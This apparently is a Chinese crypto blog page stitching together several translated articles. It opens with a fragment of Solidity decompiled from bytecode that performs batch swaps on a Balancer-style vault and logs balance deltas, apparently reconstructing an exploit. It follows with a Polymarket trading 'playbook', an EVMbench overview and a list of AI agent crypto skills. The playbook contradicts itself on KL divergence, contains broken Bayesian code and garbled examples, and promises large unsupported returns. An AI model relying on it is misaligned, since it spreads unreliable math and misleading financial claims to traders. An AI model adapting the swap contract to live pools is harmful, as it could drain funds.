            steps,
            assets,
            funds,
            limits,
            block.timestamp
        );

        // These labels likely sat in loops over balances / deltas after the swap.
        uint256[] memory endBalances = _readPoolBalances(currentPoolId);
        for (uint256 i = 0; i < endBalances.length; i++) {
            console.log("startBalancesi", startBalances[i]);
            console.log("end__balances[i]", endBalances[i]);
            if (endBalances[i] >= startBalances[i]) {
                console.log("Asset Deltasi", endBalances[i] - startBalances[i]);
            } else {
                console.log("Asset Deltasi", startBalances[i] - endBalances[i]);
            }
            console.log("mybal i", IERC20(tokens[i]).balanceOf(address(this)));
        }

        // If fn_0x60e087db cached a second scenario, append or run it after the current one.
        if (hasDeferredScenario) {
            hasDeferredScenario = false;
            address nextPool = deferredPool;
            uint256 nextP1 = deferredP1;
            uint256 nextP2 = deferredP2;
            deferredPool = address(0);
            deferredP1 = 0;
            deferredP2 = 0;
            _runScenario(nextPool, nextP1, nextP2);
        }

        // "Ending Invariant" likely logged after all state comparisons.
        console.log("Ending Invariant", _computeInvariantLike(endBalances, amp));
        actualSupply;
        rateProviders;
        poolRate;
    }

    function _readPoolBalances(bytes32 poolId) internal view returns (uint256[] memory balances) {
        (, balances,) = IVault(vault).getPoolTokens(poolId);
    }
...

    function _buildCandidateAmounts(uint256 n, uint256 p1, uint256 p2)
        internal
        pure
        returns (uint256[] memory out)
    {
        out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = p1 + p2 + i;
        }
    }

    function _buildSwapSteps(uint256[] memory candidateAmts)
        internal
        view
        returns (IVault.BatchSwapStep[] memory out)
    {
        out = new IVault.BatchSwapStep[](candidateAmts.length);
        for (uint256 i = 0; i < candidateAmts.length; i++) {
            out[i] = IVault.BatchSwapStep({
                poolId: currentPoolId,
                assetInIndex: 0,
                assetOutIndex: 1,
                amount: candidateAmts[i],
                userData: ""
            });
        }
    }

    function _buildLimits(uint256 n) internal pure returns (int256[] memory out) {
        out = new int256[](n);
    }

    function _guessIndexIn() internal pure returns (uint256) {
        return 0;
    }

    function _guessIndexOut() internal pure returns (uint256) {
        return 1;
    }

    function _computeInvariantLike(uint256[] memory balances, uint256 amp)
        internal
        pure
        returns (uint256)
    {
        // Placeholder for the stable-invariant-like value the bytecode seemed to track.
        balances;
        return amp;
    }
}

原文链接：Decompiling bytecode with GPT-5.4

DefiPlot翻译整理，转载请标明出处

2026年的Polymarket不再只是投机者的乐园

它正悄然成为量化交易的战场，专业基金将像在期权和期货市场一样，在这里攫取优势

如果你没有交易框架就进行交易，那么你就是那92%的失败者之一

在本指南中，你将看到对冲基金用来系统性地从预测市场中获利的六大核心公式，以及散户交易者如何才能切实有效地复制其中至少一部分策略

1、LMSR定价模型（Polymarket的核心引擎）

LMSR（对数市场评分规则）是Polymarket定价的驱动力，它将流动性转化为有界概率（0-1）。量化分析师利用该模型预测交易影响并发现低流动性资金池中的定价偏差（b 参数越小，优势越大）。

公式：Price_i = e^{q_i / b} / Σ e^{q_j / b}

（其中 q 为结果的数量向量，b 为流动性深度）

示例：

在比特币 5 分钟涨跌市场（交易量 3600 万美元）中，假设 b=100 且初始 q_yes=0，买入 10 股 YES 股票会使价格上涨约 5%。量化分析师在其他人之前预先计算此值以进行套利

代码/作业：

import sympy as sp
import matplotlib.pyplot as plt
import numpy as np

b = 100
q_yes = sp.symbols('q_yes')
price_yes = sp.exp(q_yes / b) / (sp.exp(q_yes / b) + sp.exp(0 / b))  # Binary market
price_func = sp.lambdify(q_yes, price_yes)

qs = np.linspace(0, 1000, 100)
prices = price_func(qs)
plt.plot(qs, prices)
plt.xlabel('Quantity Bought')
plt.ylabel('Price')
plt.title('LMSR Pricing Curve')
plt.show()

运行此代码以查看结果曲线作业：使用 API 获取的真实 Polymarket b 值进行测试

风险：在资金池较小（b<50）的情况下，鲸鱼可能会操纵交易；务必检查交易量

优势：在波动性较大的市场（例如电子竞技，交易量达 200 万美元）中，每日冲击套利可获利 500 美元以上

2、凯利准则（长期增长的最优规模）

避免孤注一掷——凯利准则最大化几何增长，被所有大型对冲基金（如 Renaissance、Two Sigma）用于在复利增长的同时避免破产

公式：f* = (p * 赔率 - (1-p)) / 赔率（其中 p 是你的优势概率，赔率 = 1/价格 - 1）。波动率使用分数（0.25-0.5）

示例：对于 2028 年 JD Vance 的获胜者（赔率为 21%，你的模型 p=25%，来自民意调查/X 情绪），f*=0.1 倍资金。顶级钱包通过对冲此策略获利超过 20 万美元

图表：

（此图显示了增长曲线：峰值位于 f*，之后急剧下降，风险极高。）

代码/作业：

import numpy as np

def kelly(p, odds):
    return (p * odds - (1 - p)) / odds

p = 0.25  # Your edge
odds = (1 / 0.21) - 1  # From market price
f_star = kelly(p, odds)
print(f"Optimal fraction: {f_star:.2f}")

# Simulate growth
bankrolls = [1]
for _ in range(100):
    outcome = np.random.rand() < p
    bankrolls.append(bankrolls[-1] * (1 + f_star * odds if outcome else 1 - f_star))

作业：对 50 个历史 Polymarket 分辨率进行回测

风险：高估 p → 破产；为了安全起见，始终减半

优势：通过持续进行正期望值 (+EV) 押注，在 2026 年第一季度将 1000 美元变成 15 万美元

3、期望值 (EV) 缺口（核心定价错误检测器）

仅当您的模型预测概率高于市场预测概率时才进行押注——量化分析师会扫描数千份合约以寻找缺口

公式：EV = (真实概率 - 价格) * 收益

（收益 = 1/价格；扣除费用后，如果 EV > 0.05 则入场）

示例：伊朗停火市场（价格为 47%，您的基于新闻的模型预测为 52%）→ 500 万美元交易量下的 EV 为 0.08，易于套利

图表：

（EV 缺口直方图：大部分接近于零，尾部显示正期望值机会。）

代码/作业：

import pandas as pd
# Assume df with 'market_price' and 'model_p'
df['ev'] = (df['model_p'] - df['market_price']) * (1 / df['market_price'])
opps = df[df['ev'] > 0.05]
print(opps)

作业：提取 10 个市场的 Polygon 数据，计算你的 model_p（例如，平均民调值）。

风险：模型不准确；使用前瞻性测试进行验证

优势：每日收益 300 美元以上，使用 2000 美元资金扫描地理/政治市场

4、KL 背离（相关性定价错误扫描器）

衡量相关市场概率分布之间的“距离”——低 KL 值表示套利

公式：D_KL(P||Q) = Σ P_i log(P_i / Q_i)

（P/Q 为概率向量；若 >0.2 则为套利）

示例：Vance (21%) 和 Newsom (17%) 2028 年高 KL 值 → 对冲投资组合，提取 10 万美元。

图表：

代码/作业：

from scipy.stats import entropy
p = [0.21, 0.79]  # Vance yes/no
q = [0.17, 0.83]  # Newsom
kl = entropy(p, q)
print(f"KL: {kl:.2f}")

作业：计算 5 个相关的 PM 对

风险：低成交量市场中的噪声会导致错误信号

优势：多元化投资可带来 15% 的投资组合收益提升

5、Bregman 投影（多结果套利优化器）

用于扫描指数组合 (2^63) 的常用方法，通过投影到概率多面体上实现无风险

公式：min D_φ(μ||θ) 受约束条件约束

（φ 为凸函数，通常为 KL 函数；求解套利边际分布）

示例：奥斯卡最佳影片多结果（《罪人》） 15%)-预测点不一致，2100万美元波动率套利

图表：

（收敛：x轴迭代次数，y轴目标值递减次数，50-150步。）

代码/作业：

import cvxpy as cp
mu = cp.Variable(2)  # Binary example
theta = [0.5, 0.5]
obj = cp.kl_div(mu[0], theta[0]) + cp.kl_div(mu[1], theta[1])
constraints = [cp.sum(mu) == 1, mu >= 0]
prob = cp.Problem(cp.Minimize(obj), constraints)
prob.solve()
print(mu.value)

作业：扩展到 3 个或更多结果

风险：高计算；为了提高速度，使用近似值

优势：平均每笔交易盈利 496 美元，下行风险接近于零

6、贝叶斯更新（动态概率调整）

根据新证据更新信念——在快速变化的市场中优于静态模型

公式：P(H|E) = P(E|H) * P(H) / P(E)

（H 为假设，E 为证据，例如推文/民意调查）

示例：埃隆·马斯克 #tweets 市场（成交量 200 万美元）——先验概率 50% + 热点证据 → 后验概率 65%，+EV 投注

图表：

（时间序列：概率随时间推移而变化，例如，事件发生后概率从 10% 上升到 34%。）

代码/作业：

from scipy import stats
prior = stats.beta(1,1)  # Uniform
likelihood = 0.7  # Evidence strength
posterior = prior.pdf(0.65) * likelihood  # Simplify; use full update

作业：使用真实市场 X 数据进行更新

风险：不良证据会干扰输出

优势：在波动性较大的地理/新闻市场中准确率提升 12%

7、系统复现：构建你的量化机器人

数据设置：获取 Polygon API 密钥以获取实时 PM 赔率/波动率

集成：Python 环境，并根据需要安装 numpy、scipy 和 cvxpy

回测：使用 2025 年数据进行前瞻性测试；计算信号的 EV/KL 值

部署：使用 Railway/Github 进行定时任务；使用 Telegram 发送警报

风险管理：分数凯利指标，20% 回撤止损

8、风险与现实检验

过拟合会导致模型失效——始终进行样本外测试。费用（1-2%）会削弱微小的优势。2026 年的市场机制转变（例如，更高的波动率）会使模型失效。道德提示：押注战争等敏感事件——务必谨慎。目标是夏普比率大于 1.5，而非追求高风险高回报。

9、结论与后续步骤

本指南将 Polymarket 打造成您的个人量化引擎。对冲基金赚得盆满钵满；有了这些公式，您可以从 1000 美元起步。从小额投资开始，并进行严格的回测。

原文链接：The Quant Playbook for Polymarket: 6 Formulas Hedge Funds Use to Extract Millions in 2026

DefiPlot翻译整理，转载请标明出处

智能合约驱动去中心化金融（DeFi）、NFT 生态系统、DAO、稳定币和无数其他区块链应用。这些合约运行在**以太坊虚拟机（EVM）**上，一旦部署就会自动执行——通常无法修改。

这种不可变性既是优势，也是风险。

历史上，智能合约漏洞已导致数百万（有时是数十亿）美元的损失。随着 AI 系统变得更加自主，能够扫描代码库、执行交易并推理经济激励，评估它们的现实安全影响变得紧迫。

EVMbench 的创建是为了回答一个关键问题：

AI 代理在现实区块链环境中检测、修补和利用真实智能合约漏洞的能力如何？

来源：EVMBench

1、什么是 EVMbench？

EVMbench 是一个综合评估框架，旨在衡量在 EVM 兼容环境中运行的 AI 代理的智能合约安全能力。

与测试孤立的编码问题不同，EVMbench 模拟真实的审计场景。它包括从竞争性审计中精选的高严重性漏洞，并在三种不同模式下评估 AI 系统：

1. 检测模式

AI 能否审计智能合约代码库并正确识别资金丢失漏洞？

2. 修补模式

AI 能否修改代码以修复漏洞，同时保持功能？

3. 利用模式

AI 能否在实时本地区块链实例上成功执行端到端的利用？

这种三层结构使 EVMbench 不仅仅是一个静态基准——它是 AI 安全能力的动态、对抗性测试场。

2、为什么 EVMbench 很重要

1. 现实环境

与理论安全基准不同，EVMbench 让代理对抗实时本地以太坊实例。利用必须实际改变链上状态才算成功。

2. 确定性评估

因为区块链状态是确定性的，评分是程序化的和可验证的。成功通过余额变化、事件日志和状态转换来衡量。

3. 全生命周期覆盖

大多数基准仅测试检测。EVMbench 评估：

• 发现
• 修复
• 利用

这种整体方法反映了现实世界的智能合约审计。

4. 经济相关性

全球智能合约价值超过 1000 亿美元，AI 安全地与区块链基础设施交互的能力具有直接的经济影响。

3、EVMbench 的核心优势

以下是开发者、研究人员和安全专业人员关注它的原因：

✔ 衡量真正的 AI 安全能力

不仅仅是模式匹配——跨代码库的真实推理。

✔ 程序化评分

消除评估中的主观人类偏见。

✔ 实时利用验证

如果资金没有移动，利用就没有发生。

✔ 支持负责任的 AI 部署

帮助跟踪先进的 AI 系统在高风险金融环境中的表现。

✔ 开放研究框架

鼓励对 AI 驱动的安全自动化进行进一步研究。

4、结束语

EVMbench 代表了我们在高风险金融环境中评估 AI 的关键转变。

通过结合：

• 真实漏洞
• 确定性区块链评分
• 端到端利用验证
• 修补验证

……它为 AI 安全评估设定了新的标准。

随着智能合约继续在全球保护数十亿美元，问题不再是 AI 是否会与区块链系统交互——而是它将如何安全有效地这样做。

EVMbench 为我们提供了回答这个问题的数据。

在一个单行代码就能移动数百万的世界里，这种衡量很重要。

原文链接: EVMbench: The New Standard for Evaluating AI in Smart Contract Security

DefiPlot翻译整理，转载请标明出处

Crypto Skills提供了一系列专注于加密货币和区块链操作的专业AI代理技能。这些技能增强了AI代理与各种区块链网络交互、查询市场数据以及执行加密相关任务的能力。

1、安装

使用Skills CLI安装这些技能：

npx skills add kukapay/crypto-skills

或者，您可以安装单个技能：

npx skills add kukapay/crypto-skills - skill "evm-swiss-knife"

此命令将下载并配置AI代理所需的加密技能。

有关Skills CLI的更多信息，请访问 https://skills.sh/docs/cli。

2、当前包含的技能

2.1 EVM Swiss Knife

evm-swiff-knife 是一个用于使用Foundry的cast命令行工具与以太坊虚拟机（EVM）兼容区块链进行交互的综合技能。支持：

• 账户余额查询
• 合约函数调用（读/写）
• 交易发送
• 区块链检查
• 合约部署
• 数据解码

这项技能使 AI 代理能够在多个 EVM 网络（例如以太坊、Polygon、BNB 智能链等）上执行底层区块链操作。

2.2 Market Sentiment

market-sentiment 技能通过聚合来自热门 RSS 源的新闻并进行情绪分析，来分析加密货币市场情绪。支持：

• 聚合来自多个加密货币新闻源的 RSS 源
• 自动情绪分类（正面/负面/中性）
• 市场情绪评分（范围：-1 到 +1）
• 基于证据的解释和文章分析

这项技能帮助 AI 代理评估整体市场情绪，以辅助交易决策、研究和趋势监控。

2.3 Meme Scout

meme-scout 技能用于在 DexScreener 等 DEX 平台上发现热门的 Meme 币。支持：

• 发现多时间周期（5分钟、1小时、6小时、24小时）的热门代币
• 分析价格走势、交易量数据和风险评估
• 针对Solana和其他链上的特定代币进行风险检查

此技能使AI代理能够识别和评估热门的模因币，用于交易和研究。

2.4 Token Minter

token-minter 是一个用于在EVM网络上生成、构建和部署自定义ERC20代币的综合技能。支持：

• 自定义代币参数（名称、符号、小数位数、初始供应量）
• 使用OpenZeppelin标准自动生成Solidity合约
• Foundry项目设置和依赖项管理
• 合约编译和部署到各种网络
• 支持Sepolia等测试网

此技能使AI代理能够创建和部署自定义ERC20代币，并完全控制代币参数和部署目标。

2.5 Trading Strategist

通过结合币安市场数据、技术分析指标和市场情绪分析，生成加密货币交易策略。支持：

• 来自币安 API 的实时价格和历史数据
• 技术指标（SMA、EMA、RSI、布林带、MACD、随机指标）
• 集成市场情绪评分
• 提供包含入场/出场点和风险管理的策略建议
• 支持主流加密货币，例如 BTC、ETH、BNB

该技能使 AI 代理能够提供数据驱动的交易建议和策略分析。

https://github.com/kukapay/crypto-skills